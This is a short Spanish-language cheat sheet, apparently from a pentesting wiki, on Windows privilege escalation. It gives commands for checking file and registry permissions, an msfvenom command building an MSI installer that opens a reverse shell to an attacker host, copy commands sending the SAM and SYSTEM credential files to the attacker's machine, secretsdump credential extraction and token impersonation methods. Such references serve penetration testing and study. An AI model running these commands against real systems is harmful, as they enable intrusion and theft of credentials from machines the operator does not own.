Elevación de Privilegios

Configuración de servicios

Configuración de ficheros

Usamos el comando icalcs "C:\ruta\al\fichero\o\directorio" para conocer la configuración de un fichero, con 3 posibles modos:

  • (F) Full Control

  • (M) Modify

  • (W) Write

Configuración de registros

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 

Una vez nos aparece como resultado "0x1" (que el bit está a 1, es decir, habilitado) podemos generar un exploit a la máquina víctima:

msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=1337 --encoder x64/xor --iterations 9 --format msi --out AlwaysInstallElevated.msi

Gestión de contraseñas

Para listar las credenciales almacenadas

cmdkey /list

Para enviar una copia de la SAM

copy C:\Windows\Repair\SAM \\IP.DE.TU.MAQUINA\
copy C:\Windows\Repair\SYSTEM \\IP.DE.TU.MAQUINA\

Teniendo credenciales de la máquina víctima podemos extraer las credenciales con secretsdump de Impacket

python3 secretsdump.py domain/user:password@IP.DE.MAQUINA.VICTIMA

Tareas programadas

schtasks /query /fo LIST /v #cmd
Get-ScheduledTask #PS

Manipulación de privilegios

Hay 3 posibles formas de evadirlos y aprovecharlos:

  1. Suplantación/Robo de Token - Un atacnte duplica un token existente usando DuplicateToken(Ex). El token puede entonces ser utilizado con ImpersonateLoggedOnUser para permitir que el hilo de llamada suplante el contexto de seguridad de un usuario conectado, o con SetThreatTokento asignar el token suplantado a un hilo. Esto es útil para cuando el usuario objetivo tiene una sesión de inicio de sesión no de red en el sistema.

  2. Crear Proceso con un Token - Un atacante crea un nuevo token de acceso con DuplicateToken(Ex) y lo usa con CreateProcessWithTokenW para crear un nuevo proceso que se ejecuta bajo el contexto de seguridad del usuario suplantado.

  3. Creación y suplantación de Token - Un atacante con credenciales pero sin haber iniciado sesión en el sistema puede crear una sesión utilizandoLogonUserfunction. La función devolverá una copia del token de acceso de la sesión y el atacante puede utilizarSetThreadtTokento asignar el token a un hilo.

Para saber la configuración que tiene una máquina:

whoami /priv

Una vez sabemos los privilegios habilitados, vamos a ver los más interesantes:

Herramientas

  • winPEASany.exe

  • Seatbelt.exe

  • PowerUp.ps1

  • SharpUp.exe

Recursos

Herramientas

Last updated